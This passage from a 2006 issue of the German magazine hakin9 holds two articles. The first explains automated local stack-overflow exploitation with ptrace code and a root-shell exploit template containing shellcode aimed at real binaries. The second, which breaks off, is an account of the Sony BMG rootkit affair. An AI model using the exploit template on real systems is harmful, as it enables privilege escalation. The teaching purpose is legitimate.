scheidet anhand des %eip -Werts, ob das erwünschte Ergebnis erreicht wurde. Diese Entscheidung wird mit einer Liste prioritätisierter Heuristiken in der einfachen Form von if-then-Anweisungen getroffen. Eine sehr schnelle Methode, solch eine Komponente zu entwickeln, ist sich der Kommandozeilentools gdb, grep und awk zu bedienen. Ein gültiger Systembefehl wird erstellt und die relevanten Informationen werden mittels Pipes ausgelesen. Eine Implementation dieser Technik steht in Listing 2. Das Payload und die Argumentenliste, die getestet werden sollen, werden als Parameter an die Funktion überreicht (siehe Listing 2). Das Grundprinzip des Entwurfs ist hier, Handlercodes an die untere Schicht (Textebene genannt) zurück auszugeben, die dasselbe für ihre eigene untere Schicht tut. Diese baumartige Struktur bietet ausgezeichnete Flexibilität. Der Vorteil dieses Ansatzes ist die hohe Testgeschwindigkeit. Dennoch hängt die Implementation stark von Anwendungen Dritter ab, dessen Integrität unbekannt bleibt.

Listing 3. Das Ausführungs- und Inspektionssubsystem mit Einsatz des ptrace-Systemaufrufs int exec_and_inspect_2(char *buffer, int arg, char *vulnfile) { // returns: -2 ~ internal error // -1 ~ not a smash // 0 ~ smash :) REGISTERS pid_t int LLONG char

args[0] = "lazyjoe"; for(i = 1; i <= arg - 1; i++) args[i] = "foo"; args[i] = buffer; args[i+1] = NULL;

Inspektion, Algorithmus zwei

Eine zweite Implementationsmöglichkeit für ein Ausführungs- und Inspektionssubsystem kann sich auf den ptrace()-Systemaufruf stützen. Er bietet uns eine sehr gute Auswahl an Funktionen niedriger Ebene, und einiger davon bedienen wir uns. Grundsätzlich lässt ptrace einen Prozess die Ausführung eines anderen kontrollieren. Der verfolgte Prozess verhält sich normal bis ein Signal abgefangen wird. Wir rufen ptrace() mit PTRACE _ TRACEME als Anfragewert auf, um die Kontrolle über einen Kindprozess zu ermöglichen. Dieser wird mit fork() erzeugt. PTRACE _ GETREGS liefert alle CPU-Registerwerte in eine entsprechende Struktur und unterstützt uns somit bei der %eip Inspektion. Schließlich hilft uns PTRACE _ SINGLESTEP den bösartigen Befehl ausfindig zu machen. Die

64

hakin9 Nr. 2/2006

regs; pid; inspec_val = -1, wait_val, i = 1; counter = 0; *args[MAX_ARGS] = {NULL};

}

switch( pid = fork() ) { case -1: return -2; break; case 0: ptrace(PTRACE_TRACEME, 0, 0, 0); execv(vulnfile, args); break; default: wait(&wait_val); if(verbose) fprintf(stdout, "-> Buffer len: %ld\n", strlen(buffer)); while(wait_val == 1407) { counter++; counter_tot++; if( ptrace(PTRACE_GETREGS, pid, 0, ®s) != 0 ) { fprintf(stderr, "[!] ptrace(): error fetching registers.\n"); fflush(stderr); return -2; } if( ptrace(PTRACE_SINGLESTEP, pid, 0, 0) != 0 ) { fprintf(stderr, "[!] ptrace(): error restarting.\n"); fflush(stderr); return -2; } if(verbose) { fprintf(stdout, "-> eip: %8x\r", regs.eip); fflush(stdout); } if( regs.eip == 0x41414141 ) { if(verbose) { fprintf(stdout, "-> Number of instructions this round: %ld\n", counter); fprintf(stdout, "-> Total number of instructions: %ld\n", counter_tot); } inspec_val++; //0 kill(pid, SIGKILL); } wait(&wait_val); } } return inspec_val;

www.hakin9.org

Automatisiertes Exploiting

Abbildung 4. Zusammenarbeit der funktionalen Komponenten

Abbildung 6. Ein abstraktes Metamodell des gesamten Systems Abbildung 5. Der Linuxstapelboden Listing 4. Eine generische Exploitcodevorlage // our binary #define BIN "our_vuln_bin" // hypothetic value. It can be obtained using the // payload_production – exec_and_inspect algorithms #define NUM 44 char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\x99\xb0\x0b\xcd\x80" "\x31\xc0\x31\xdb\x40\xcd\x80"; int main(void) { //our env structure char *env[2] = {shellcode, 0}; char buffer[NUM + 5]; // our formula incorporating the shellcode unsigned long ret = 0xbffffffa - strlen(shellcode) - strlen(BIN); memset(buffer, 0x41, NUM); *((long *)(buffer + NUM)) = ret; buffer[NUM + 5] = 0x00; //this line is crafted from the exploit generation subsystem //to include any possible argument apart from the payload execle(BIN, BIN, buffer, 0, env); return 0; }

www.hakin9.org

Implementation entspricht in dem Artikel Listing 3. Beachten Sie, dass der Inhalt von Listing 3 die Reihenfolge der drei Zustände nicht einhält. Die Ursache ist, dass diese Technik keine Ketten manipuliert, wie es bei der vorigen der Fall war, sondern direkt mit CPURegisterwerten arbeitet. Bei den beiden Methoden werden dieselben Informationen als Parameter vorgegeben, und beide geben jeweils dieselben Fehlercodes für dieselben Ergebnisse aus. Dieser Ansatz ist grundsätzlich zeitaufwändig und sollte nie für große Pufferwerte eingesetzt werden. Obwohl er nicht leistungsfähig genug ist, gibt er im Verbose-Modus durchaus interessante Informationen aus, da er alle Befehlswerte anzeigt, die von %eip während des Tests geführt werden. Die Rede ist hier von Millionen oder gar mehr Befehlen, also rate ich vom Loggen ab. Diese Befehle können zur Identifizierung von Stapelframe-Mustern eingesetzt

hakin9 Nr. 2/2006

65

Programmieren

Testdetails

Die Tests wurden auf einem AcerLaptop mit einer Intel P4 2.0 GHz CPU und 128 MB geteilten RAM-Speicher durchgeführt. Das Betriebssystem war Mandrake 9.0 (Dolphin), unter VMware Workstation gebootet. Die untersuchten Anwendungen waren als Pakete auf der Installations-CD von Mandrake 9.0 erhältlich.

Abbildung 7. efstool-Test im pipes-Modus Das mit Nummer 7 bezeichnete Modul in Abbildung 4 ist für die Erkennung des %eip -Zustands anhand der fest im Code verdrahteten Heuristiken zuständig. So werden Entscheidungen getroffen und dadurch die richtige Entfernung ermittelt.

Der Exploit-Code Abbildung 8. ifenslave-Test im pipes-Modus

Abbildung 9. ifenslave-Test im ptrace-Modus werden und damit eine tiefer greifende Untersuchung der ausführbaren Datei unterstützen.

Zusammenarbeit der funktionalen Komponenten

Sollte es bisher nicht klar geworden sein, hängt die Kohärenz der Operationen unseres Tools stark von einer korrekt entworfenen Kooperation der Subsysteme ab. Die beiden Kernsysteme kommunizieren miteinander, indem sie Handlecodes an die Vermittlungsschicht, die find _ dist()-Funktion schicken (Implementation im Quelltext zum

66

hakin9 Nr. 2/2006

Artikel). Die Feedback-gesteuerte Zusammenarbeit ist konzeptuell in Abbildung 4 dargstellt.

Bisher haben wir gesehen, wie die Entfernung mit einem für den Fehler anfälligen Argument genau ermittelt werden kann. Es folgt das Exploiterstellungssubsystem, dessen Idee verständlicher wird, wenn wir uns zuerst die Theorie vornehmen. Ein Exploit-Code ist ein Stück Code, dessen Name seinen Zweck verrät: es soll eine bestimmte Situation ausnutzen (engl. exploit). Die Situation ist ein Programmierfehler, in diesem Artikel – ein lokaler stapelbasierter Argumentüberlauf. Indem wir den Programmierfehler ausnutzen, können wir beliebige Systembefehle ausführen. Diese Befehle sind der berüchtigte Shell-

Tabelle 1. Quantitative Leistungsrepräsentation an Beispielen speziell gefertigter Binärdateien Anfälliges Argument

Anfälliger Puffer

Pipes

Ptrace

1

128 Bytes

20.41136200 Sek.

k.A.

3

32 Bytes

7.79432000 Sek.

457.13281000 Sek.

5

16 Bytes

5.24972400 Sek.

339.47941600 Sek.

20

16 Bytes

7.66579100 Sek.

479.69758100 Sek.

www.hakin9.org

Automatisiertes Exploiting

Über den Autor

Stavros Lekkas stammt aus Griechenland und studiert im 3. Studienjahr an der Universität Manchester (früher als UMIST bekannt). Seine wissenschaftlichen Interessen umfassen Kryptografie, Informationensicherheit, Data Mining, höhere Mathematik (Logik und Zahlentheorie) und Rechenkomplexität. Zurzeit arbeitet er an einer wissenschaftlichen Arbeit zu einem compilerbezogenen Thema.

code-Teil des Exploitcodes. Er heißt Shellcode, weil er häufig eine neue Shell startet. Die Befehle sind im hexadezimalen MaschinencodeFormat (vergleiche den Artikel Optimierung der Shellcodes unter Linux von der hakin9.org-Website). Da die Entwicklung von Shellcodes nicht in den Rahmen dieses Artikels passt, setzen wir einen voraus, der eine Shell erzeugt, indem er die folgenden Kommandos der Reihe nach aufruft: setuid(0); execve ("/bin/sh", 0); exit (0);

Unser Ziel ist, in das fehlerhafte Programm irgendwelche nutzlosen Bytes einzuspeisen bis die erwünschte Entfernung erreicht wurde. Diese Entfernung ist die Entfernung zum Anfang des Befehlszeigers (%eip), der mit einer gültigen Adresse überschrieben wird, die auf unseren Shellcode hinweist. Dies werft einige interessante Frage auf. Wie können wir deterministisch die Adresse feststellen, wo unser Shellcode genau landet? Kennen wir eine Formel, die eine universell gültige Adresse dafür ergibt? Können wir das Bedürfnis nach distributionsspezifischen Informationen umgehen? Eine Antwort auf solche Fragen kann eine generische Exploitcodevorlage liefern.

Die Methode direkter Treffer

Auf unserer Suche nach einer generischen Exploitcodevorlage müssen wir den Stapel genauer betrachten. Seine Struktur unterstützt uns beim Ausarbeiten einer universellen Adressformel. Die Stapelspitze kann je nach dem untersuchten Programm unterschiedlich sein. Dennoch ist die letzte gültige Adresse innerhalb des Stapelbereiches immer dieselbe, und zwar 0xbfffffff. Abbildung 5 stellt bottom of stack dar. Daten werden von unten nach oben ausgeführt, während der Stapel von oben nach unten anwächst. Die Umgebung befindet sich in einer festen Entfernung vom Stapelboden und anhand Abbildung 5 können wir ihre n-te Stelle ermitteln. Die Formel für n-te Umgebungsstelle ist: address = 0xbfffffff - 4 - ( strlen(prog_name) + 1 ) - strlen(env[n]); (2)

und das gleicht: address = 0xbffffffa - strlen(prog_name) - strlen(env[n]); (3)

Die Umgebung scheint eine perfekte Stelle zu sein, wo wir unseren Shellcode platzieren können. Wir können ihn in eine Umgebungsstruktur ein-

Im Internet • • • • •

http://www.enderunix.org/docs/eng/bof-eng.txt – eine Arbeit über Pufferüberlauf, http://packetstormsecurity.org/groups/netric/envpaper.pdf – eine Arbeit über die Methode direkter Treffer, http://linuxgazette.net/issue81/sandeep.html – Prozessverfolgung mit ptrace, http://www.securityfocus.com/bid/5125 – Bugtraq-Informationen über EFSTool, http://www.securityfocus.com/bid/7682/info – Bugtraq-Informationen über ifenslave.

www.hakin9.org

tragen und die fehlerhafte Binärdatei mit den vorigen Umgebungswerten ausführen. Dies tun wir mit einer der execve()- oder execle()-Funktionen, indem wir als ihren letzten Parameter eine Umgebungsstruktur vorgeben. Dieser Ansatz erfordert keine NOP (0x90)-Opcodes, weil hier direkt an den Shellcode im Stapel hingewiesen wird.

Zusammenfügen der angesammelten Informationen

So Long and Thanks for All the Fish (Douglas Adams, Per Anhalter durch die Galaxis, 1984). Nachdem wir die Entfernung zum %eip-Anfang und hoffentlich auch unsere Formel ermittelt haben, können wir die Exploitcodevorlage erstellen. Eine effiziente Implementation sollte wie die aus Listing 4 aussehen. Alle erforderlichen Informationen werden mit #define-Anweisungen deklariert. Dies ist wichtig, weil wir somit nicht überall im Exploitcode Werte ändern und anpassen müssen. Die Verwendung der Codeerstellungsfunktion für das Exploit kann somit leicht auf neue Situationen übertragen werden. Eine Übersicht aller Etappen der Toolausführung steht in Abbildung 6.

Echte Beispiele

Am 26. Mai 2003 wurde ein Pufferüberlauffehler in der 0.0.7-Version des Programms namens ifenslave entdeckt (siehe Bugtraq ID 7682). Es schien ein lokaler Pufferüberlauf zu sein, der durch das erste Argument verursacht worden ist. Dasselbe ist bei EFSTool geschehen. Diese Software wurde am 29. Januar 2002 als fehlerhaft gemeldet und die meisten RedHat- und Mandrake-Distributionen enthielten die Lücke (siehe Bugtraq ID 5125). Nach der Installation dieser Anwendungen können wir überprüfen, ob lazyjoe ein Exploit auch wirklich erstellen kann. Abbildung 7, 8 und 9 zeigen, wie lazyjoe die Dateien /usr/bin/efstool und /sbin/ifenslave erfolgreich untersucht. l

hakin9 Nr. 2/2006

67

Sony, ein Rootkit und die fünfte Macht Umgebung Michał Piotr Pręgowski

Schwierigkeitsgrad

Über 500.000 infizierte Rechner, ein internationaler Skandal und mehrere Gerichtsprozesse. Deren Ursache war das Platzieren von Spyware auf Audio-CDs durch den Konzern Sony BMG. Die ganze Affäre haben im Internet Experten für IT-Sicherheit zutage gefördert, indem sie zum wiederholten Mal Argumente für die Effizienz und Schnelligkeit dieses Kommunikationsmittels geliefert haben.

A

lles lief sehr schnell. Am 31. Oktober ist im Blog von Mark Russinovich (siehe Kasten Im Internet) die erste Information über das Sony-Rootkit erschienen. Einige Tage danach war die ganze Welt bereits empört. Am 10. November hat die Firma Kaspersky Lab über den ersten Wurm berichtet, der das Sony-Rootkit ausnutzt. Nach ein paar Tagen hat der Multimedia-Riese den Vertrieb von CDs, die mithilfe der kontroversen Technik XCP (Extended Copy Protection) gesichert wurden, bis auf Weiteres eingestellt. Offiziell ging es um die Analyse dieser Technik im Hinblick auf Sicherheit und Benutzerfreundlichkeit. Die Folge war aber nicht nur ein Unbehagen, sondern etwas viel wichtigeres. Die Internetnutzer haben begriffen, dass sie etwas erreichen können, wenn sie alle mit einer Stimme reden. Manche von Ihnen können sich an diese Geschichte wahrscheinlich noch sehr gut erinnern. Russinovich, der Redakteur von Windows IT Pro und Softwareingenieur bei Winternals Software, hat auf seinem Rechner ein unbekanntes Rootkit entdeckt und fand nach einer mühsamen Detektivarbeit sogar den Autor des Schädlings heraus – es handelte sich um die Firma First4Internet. Dieser Schädling wurde in der XCP-Technologie

68

hakin9 Nr. 2/2006

verwendet, die First4Internet an verschiedene Firmen verkaufte. Anschließend wurde die XCPTechnologie mit dem eingebautem Rootkit von Sony BMG Music verwendet. Und gerade wegen einer CD dieses Konzerns wurde der Rechner von Russinovich infiziert. Danach war das SonyRootkit in aller Munde.

Ein Fehler nach dem anderen

Die Liste von Fehlern, die dem Sony-Konzern im Zusammenhang mit dem Rootkit unterlaufen sind, ist lang. Die Software, die sich auf den

Aus diesem Artikel erfahren Sie… • • •

was und wie gefährlich das Sony-Rootkit ist, welche Fehler der Konzern gemacht hat und wer auf sie hingewiesen hat, was die fünfte Macht ist.

Was Sie vorher wissen/können sollten… •

www.hakin9.org

Sie sollten über Grundkenntnisse von DRM (Digital Rights Management) verfügen.

Das Sony-Rootkit

Van Zant — eine der vielen Opfer des Rootkits

Die Band Van Zant, deren CD den Rechner von Mark Russinovich infizierte, hat kein leichtes Leben. Obwohl sie mit dem Sony-Rootkit nichts zu tun haben, haben die Verbraucher die Country-Rocker scharf kritisiert. Die Kommentare der Kunden von Amazon.com hätten nicht eindeutiger sein können – 1 von 5 Sternen. Als ich diesen Artikel schrieb, war der Durchschnitt von über 250 abgegebenen Stimmen kaum besser. Interessanterweise haben sich einige Kunden trotz der eindeutig negativen Kommentare bei der Band entschuldigt. Die schlechte Note lag weniger an der Performance der Band, sondern am Rootkit und nicht zuletzt an der Politik des Sony-Konzerns. Viele Websurfer haben sogar zum Boykott dieser Firma aufgerufen. Abgesehen von der schlechten Note, hat Van Zant wirklich ein Problem – die CD wird sich nicht mehr verkaufen und selbst die Fans werden die Band nicht verdienen lassen, da sie das Risiko sicherlich vermeiden wollen und die CD in einem Peer-topeer-Netz herunterladen.

Wie funktioniert XCP? •

•

•

•

•

•

•

•

Bei einer mit XCP gesicherten CD handelt es sich um eine Multisession-CD. Sie enthält Audio-Daten im traditionellen, ungesicherten Format sowie Software, die unter Windows auf einen Mechanismus zur automatischen Wiedergabe zurückgreift. Nach dem Einlegen der CD wird die Software ohne Zustimmung des Benutzers installiert (damit sie korrekt installiert werden kann, werden Administratorrechte benötigt). Hat der User die Umschalttaste gedrückt, wird die Software nicht installiert und der Datenträger wird wie eine gewöhnliche CD behandelt – in diesem Fall können die Audio-Daten problemlos kopiert werden. Der Schutz ist also völlig unwirksam. Die zwei schädlichen Komponenten der zu installierenden Software sind das Rootkit und die Spyware. Das Rootkit versteckt alle Dateien, Prozesse, Verzeichnisse, Registry-Schlüssel usw., deren Name mit $sys$ beginnen (die Technik funktioniert nicht im abgesicherten Modus). Die Spyware wird in einem versteckten Verzeichnis platziert. Nach dem Einlegen der CD verbindet sich die Spyware mit einem Server von Sony und sendet Informationen über die abzuspielende CD und die IP-Adresse des Rechners. Das installierte Programm überwacht dauernd die laufenden Prozesse (indem es ca. 1-2% der CPU-Auslastung in Anspruch nimmt) und sucht nach Programmen zum Kopieren von Audio-CDs, um deren Arbeit zu sabotieren. Wird eine CD kopiert (sowohl einer gesicherten als auch ungesicherten), beeinträchtigt das Programm die zu kopierenden Daten. Die Software kann mit gewöhnlichen Methoden nicht deinstalliert werden. Falls sie dennoch entfernt wurde, wird die Stabilität von Windows beeinträchtigt und das Verwenden der CD ist nicht möglich. Aufgrund der Tatsache, dass das Rootkit alle Dateien mit einem bestimmten Namen versteckt, kann es zum Verbergen von Malware (wie Würmer, Viren, Trojaner) anderer Autoren ausgenutzt werden. Einige Teile der installierten Software wurden so genannt, damit sie sich für wichtige Bestandteile des Windows-Systems ausgeben (z.B. Plug&PlayTreiber). Die von Sony gelieferte Software zum Deinstallieren des Rootkits macht lediglich die versteckten Dateien sichtbar, ohne die Spyware-Komponenten zu entfernen. Um das Deinstallationsprogramm zu verwenden, muss man sich auf der Homepage von Sony anmelden, wo der User nicht nur seine Personaldaten angeben, sondern auch ein ActiveX-Control installieren muss. Das Control hat einen Fehler und lässt das Ausführen eines beliebigen Codes auf dem Rechner des Nutzers zu – es genügt, dass der letztere eine präparierte Webseite besucht, damit ein Fremdling die volle Kontrolle über sein System übernimmt.

www.hakin9.org

Audio-CDs von Sony BMG befindet, modifiziert das Betriebssystem Windows so, dass der User keine Ahnung von der Spyware hat. Diese sammelt Informationen über ihn und schickt diese an den Konzern. Oder, wie man häufig sagt, sie telefoniert nach Hause, und stellt damit eine Bedrohung für die Privatsphäre der Nutzer dar. Noch schlimmer war jedoch die Tatsache, das man das Rootkit von Sony nicht loswerden konnte, ohne die Stabilität des System aufs Spiel zu setzen – zumindest solange, bis das Thema durch die Medien aufgegriffen wurde. Der erste Patch, den der Goliath des Musikgeschäfts netterweise zur Verfügung gestellt hat, war eine vollkommene Schlappe – der Patch hat die Spyware nicht entfernt. Eine anderer Schlamassel war die Aussage von Thomas Hesse, Manager von Sony BMG, der in einem Interview für NPR am 4. November feststellte, dass die meisten Leute nicht wissen, was ein Rootkit ist, warum sollen sie sich also darum kümmern? Der Patzer wurde in der Gemeinde von Sicherheitsexperten mit Vergnügen registriert. Ein Team von F-Secure hat sogar aus diesem Anlass T-Shirts bestellt, auf denen der Gedanke des Sony-Managers im genauen Wortlaut fixiert war: Most people don't even know what a rootkit is, so why should they care about it? Es gab noch mehr Szenen, die manch einen an eine Seifenoper denken ließen. Die verwirrten Kunden warteten lange auf eine offizielle Liste von CDs, die das gefährliche Programm beinhalten (siehe Kasten Im Internet). Nachdem die Firma ein webbasiertes Werkzeug zum Entfernen des Rootkits zur Verfügung gestellt hat, wurde bekannt, das es ein Sicherheitsloch ins System reist und das gesamte System anfällig für Angriffe macht. Und zwar sehr gefährliche Angriffe. In Windows-Systemen, die durch dermaßen unprofessionell erstellte Software geschwächt wurden, konnte eine Webseite auf dem Rechner des Nutzers beliebige Programme installieren und ausführen. Man kann sich kaum ein schwerwiegenderes Sicherheitsleck vorstellen.

hakin9 Nr. 2/2006

69

Umgebung

70

Rechtschützer? Fehlanzeige

Zunächst Breplibot, danach andere

Die Geschichte mit dem Rootkit hat den Riesen noch aus zwei zusätzlichen Gründen in Verruf gebracht. Dan Goodin aus Wires hat angekündigt, dass CDex, ein populäres Programm zum Konvertieren von Audiodateien in MP3, mit den CDs von Sony BMG hervorragend zurechtkommt. Da die DRM-Software von Sony auf den bereits angesprochenen Mechanismus zur automatischen Wiedergabe zurückgreift, werden das Rootkit und die Spyware nicht installiert, wenn der User beim Einlegen der CD die Umschalttaste gedrückt hat. Denn in diesem Fall wird das System die CD so behandeln, als ob sie ungesichert wäre. Sie kann dann problemlos kopiert werden. Alles deutet also darauf hin, dass die Software nicht nur eine erhebliche Gefahr für die Benutzer darstellt, sondern auch dem Konzern keinerlei Nutzen bringt. Außerdem hat Sony BMG mit großer Wahrscheinlichkeit gegen die Lizenzvereinbarungen verstoßen, mit deren Hilfe der MP3-Encoder LAME geschützt wird – darüber haben viele Services berichtet. Nach den Angaben von DeWinter Information Solutions enthielt der Schädling einige Fragmente des LAME-Codes. Da aber LAME unter der LGPL-Lizenz (Lesser Gnu Public Licence) veröffentlicht wird, muss dessen legale Verwendung mit einigen Schritten einhergehen – u.a. der Freigabe des gesamten Quellcodes. Darüber hinaus muss in einer entsprechenden Notiz angegeben werden, das man diesen Code verwendet hat. Das aber hat die Firma Sony oder deren Partner nicht gemacht – die Kunden haben auf der CD nur eine ausführbare Datei bekommen. In letzter Zeit gab es in Europa Gerichtsurteile, die einige Firmen gezwungen haben, deren Code freizugeben. Der Fall Sony kann manch einen ironisch anmuten, denn schließlich ist hier von einem Konzern die Rede, der mit großem Engagement gegen die Verletzungen von Autorenrechten kämpft.

Kurz nachdem Mark Russinovich den Skandal zutage gefördert hat, wurde klar, dass früher oder später jemand auf die Idee kommt, das Rootkit zu viel gefährlicheren Zwecken auszunutzen. Am 10. November hat die Firma Kaspersky Lab das Erscheinen eines Wurmes, der das Programm XCP ausnutzt, bekannt gegeben. Der Schädling wurde von der Firma als Backdoor.Win32. Breplibot.b identifiziert. Kurz danach gab es Meldungen über massenhaft abgeschickte E-Mail, die Breplibot beinhalteten. Der Wurm befand sich in einer infizierten E-Mail, in deren Betreff-Zeile Requesting Photo Approval stand. Als Anhang wurde eine Datei namens article_ december_3621.exe abgeschickt. The Register berichtete über eine interessante Methode, mit deren Hilfe Cracker das Rootkit ausnutzen. Durch das Verstecken von einigen Systemprozessen, haben die Cracker, die die Spielregeln in World of Warcraft knackten, das Identifizieren von Blizzard Entertainment vermeiden können. Hat der Benutzer den Namen des Hilfsprogramms auf $sys$Name_des_Programms geändert, hat der Blizzard-Scanner ihn nicht sehen können. Dan Kaminsky, freiberuflicher Experte für IT-Sicherheit aus Seattle und einer der bekanntesten Hacker, hat die Technik DNS snooping verwendet, um zu prüfen, wie viele DNS-Cache-Server nach der symbolischen Adresse, mit der die Sony-Spyware kommuniziert, gefragt wurden. Auf dieser Grundlage hat er berechnet, dass schätzungsweise an über 568 Tsd. DNS-Server eine Anfrage geschickt wurde, die in einem direkten Zusammenhang mit dem Rootkit stand. Die Ergebnisse hat Kaminsky auf der Webseite von Doxpara Research (siehe Kasten Im Internet) veröffentlicht. Als ich diesen Text schrieb, war die genaue Anzahl von Infektionen noch nicht bekannt. Man geht aber davon aus, dass sie noch größer als der von Kaminsky

hakin9 Nr. 2/2006

www.hakin9.org

extrapolierte Wert ist. Eines ist aber sicher: das Erscheinen von verbesserten (und schlaueren) Versionen von Breplibot sowie anderer Viren, die das Sony-Rootkit verwenden, ist nur eine Frage der Zeit.

Verspätete Reaktion

Die ersten Analysen haben Bruce Schneier, einen der weltweit größten Autoritäten in Sachen IT-Sicherheit schockiert. Schneier betonte, dass die Ausmaße der Gefahr an die Epidemien erinnern lassen, die von Blaster, Code Red oder Nimdy hervorgerufen wurden. In seinem Feuilleton in Wires hat er die Hersteller von Antivirensoftware für ihre Nachlässigkeit kritisiert. Seiner Meinung nach sollte das Rootkit viel schneller entdeckt werden. Noch schlimmer war jedoch die Tatsache, dass selbst nach dem Blogeintrag von Russinovich und dem Aufgreifen dieses Themas in anderen Online-Medien, neue Signaturen erst nach einigen Tagen, meistens jedoch erst nach circa einer Woche erschienen sind. Vom Entfernen des Schädlings ganz zu schweigen. Schneier hat nur zwei Firmen gelobt – Sysinternals und F-Secure – was diese als ein verdientes Kompliment angenommen haben. Getadelt wurde dagegen Microsoft. Die Redmonder wurden von Schneier kritisiert, da sie nicht schnell und eindeutig genug auf das Problem reagiert haben. Wie gesagt, modifiziert die XCP das System Windows, und kann unter bestimmten Umständen zu Abstürzen des Systems führen. Hat jemand daran gezweifelt, dass die Sicherheit und Benutzerfreundlichkeit bei dem Riesen groß geschrieben wird? Der Konzern hat erst am 13 November angekündigt, dass er eine Software bereit stellt, die das System vor solchen und ähnlichen Gefahren schützen wird. Es sind also ganze zwei Wochen vergangen, seitdem Russinovich über das Problem berichtet hat. Zwar hat kaum einer damit gerechnet, dass die Epidemie über ganz gewöhnliche CDs übertragen wird – nach Schneier soll aber die Tatsache, die die Rechner außerhalb

Das Sony-Rootkit

des Internets infiziert werden, den ITExperten nicht als Ausrede dienen. Wer sonst soll die Gefahren besser erkennen können? Inzwischen ist das Problem ernst zu nehmen. Mithilfe von unschuldig aussehenden CDs wurden aller Wahrscheinlichkeit nach – wegen einer seltsamen Politik des Sony-Konzerns – auch die Rechner der Regierungen und die des Militärs infiziert. Vielleicht nur in den USA, vielleicht auch nicht.

EFF kennt keine Gnade

Die begangenen Fehler sowie die Arroganz von Sony werden wahrscheinlich dazu führen, dass die Interessen der Nutzer die Oberhand gewinnen. Viele amerikanische Firmen haben Klagen gegen Sony eingereicht. Eine von ihnen war Electronic Frontier Foundation (EFF) – die wohl einflussreichste Organisation, die sich mit dem Schutz von Bürgerrechten und – Freiheiten im W

Internet beschäftigt. In deren Rat sitzen u.a Lawrence Lessig, der Rechtswissenschaftler und Autor des bekannten Buches Free Culture. Die EFF wirft dem Konzern einen schweren Missbrauch vor – von der Einschränkung der Verbraucherrechte, über das Ausspionieren von Kundenpräferenzen und Installieren auf deren Rechnern von versteckten Dateien, bis hin zum Verwenden der Prozessorleistung ohne die Zustimmung der Benutzer (das Programm nimmt immerhin 1-2% der CPU-Auslastung in Anspruch, selbst wenn keine CD von Sony BMG abgespielt wird. Die schwerwiegendsten Vorwürfe beziehen sich aber darauf, dass der Konzern das Abhören einer CD vom Akzeptieren der oben genannten Aktivitäten abhängig machte. Diese aber gingen weit über den Nutzungsvertrag (End User Licence Agreement) hinaus. Darüber hinaus hat die Firma Sony E

R

www.hakin9.org

B

U

N

die Persönlichkeitsrechte der Nutzer verletzt, indem sie diese für potenzielle Angriffe, die das Rootkit ausnutzen, anfällig gemacht hat. Electronic Frontier Foundation hat sich auch mit der Software MediaMax befasst, die sich auf über 20 Mio. CDs des Konzerns befindet. Nach der Meinung der Stiftung, wurden in diesem Fall ebenfalls die Bürgerrechte verletzt. Denn das Programm wird selbst dann auf dem Rechner des Benutzers installiert, wenn dieser die Nutzungsbedingungen abgelehnt hat. Außerdem stellt die Software kein Deinstallationsprogramm zur Verfügung. Andere Vorwürfe bezogen sich auf die Weitergabe von Nutzerpräferenzen, obwohl es im Nutzungsvertrag steht, dass das Programm keine Operationen dieser Art durchführt. Alles deutet darauf hin, dass der Konzern sich mit dem Thema ernsthaft auseinander setzen muss. G

hakin9 Nr. 2/2006

71

Umgebung

Wir, die fünfte Macht

Die ganze Geschichte ist noch aus einem anderen Grund interessant. Zum wiederholten Mal hat sich das Bloggen als eine wichtige Methode erwiesen, mit deren Hilfe gesellschaftlich relevante Informationen weitergegeben werden. Dort, wo ein Journalist nicht angekommen war, sitzt schon ein Blogger und schreibt Geschichten, die später von vielen Journalisten gelesen werden. Eine Untersuchung von Pew Internet & American Life Project hat ergeben, dass 8 von 10 amerikanischen Journalisten Blogs lesen. Diese werden von den traditionellen Medien deswegen mit verfolgt, da sie viel schneller auf wichtige Ereignisse reagieren. Alles deutet darauf hin, dass wir bereits mit den Ansätzen der fünften Macht zu tun haben. Die Geschichte mit dem SonyRootkit und dem Blog von Mark Russinovich hat die Stärken dieses Kommunikationsmittels bewiesen. Einige Beobachter haben darauf hingewiesen, dass in einigen Internetforen allgemeine Informationen über Unregelmäßigkeiten im Programm XCP zu finden waren. Trotzdem war es gerade der Blog von Russinovich, der über die Grenzen des Mediums hinaus gewirkt und ein Erdbeben verursacht hat. Es ist also an der Zeit, dass all diejenigen, denen es viel an der Verbreitung des nützlichen Wissens (das auch schwierige Themen umfasst, wie z.B. Sicherheitslecks in Software) liegt, einsehen, dass sie über ein wirksames Medium verfügen. Die Interdependenzen zwischen glaubwürdigen Blogs und Newsredaktionen, die auf der RSS-Technologie basieren, haben den Bürgerjournalismus entstehen lassen. Der hat sich nicht nur als schneller, sondern auch als glaubwürdiger als traditionelle Medien erwiesen. Ein gutes Beispiel war die unabhängige Berichterstattung aus New Orleans nach dem Hurrikan Kathrina. Die Websurfer sollen nicht nur dort aktiv sein, wo etwas interessantes passiert, sondern auch dort, wo versucht wird, ihnen die hart erkämpften Freiheiten wegzunehmen. Darüber sollen sich sowohl die Autoren von po-

72

hakin9 Nr. 2/2006

Über den Autor

Michał Piotr Pręgowski machte seinen Hochschulabschluss an der Warschauer Universität im Bereich Journalismus und Politikwissenschaften. Er arbeitet derzeit an seiner Doktorarbeit am Institut für Angewandte Gesellschaftswissenschaften an derselben Universität. Daneben interessiert er sich für: die Auswirkung von Internet-gestützten Medien auf die Gesellschaft, die Selbstdarstellung in der Computer-gestützten Kommunikation und Ludology. Er betreibt außerdem einen polisch-sprachigen Blog über diese Themen: http://www.error300.org.

litisch-kritischen Webseiten, als auch diejenigen, die den Rest der Welt über Sicherheitslecks in Software informieren, im Klaren sein. Denn es geht hier im Grunde genommen um dasselbe Problem. Howard Rheingold, ein Philosoph, Soziologe und Visionär der Internet-Ära sowie Autor von Büchern The Virtual Community und Smart Mobs sagte, er sei davon überzeugt, das die Funktechnologien eine wahre soziale Revolution bewirken werden. Er hat darauf hingewiesen, dass die Demos in Philippinen, die zum Rücktritt des Präsidenten Estrada führten, stattgefunden haben, nachdem sich die Bürger gegenseitig SMS über die Zeit und den Ort von Demos geschickt haben.

Eigene Überzeugung und gemeinsames Engagement Alles deutet aber darauf hin, dass das soziale Engagement der Websurfer auch ohne die modernsten mobilen Technologien möglich ist. Im Falle des Sony-Rootkits wird die Geschichte wahrscheinlich früher oder später in

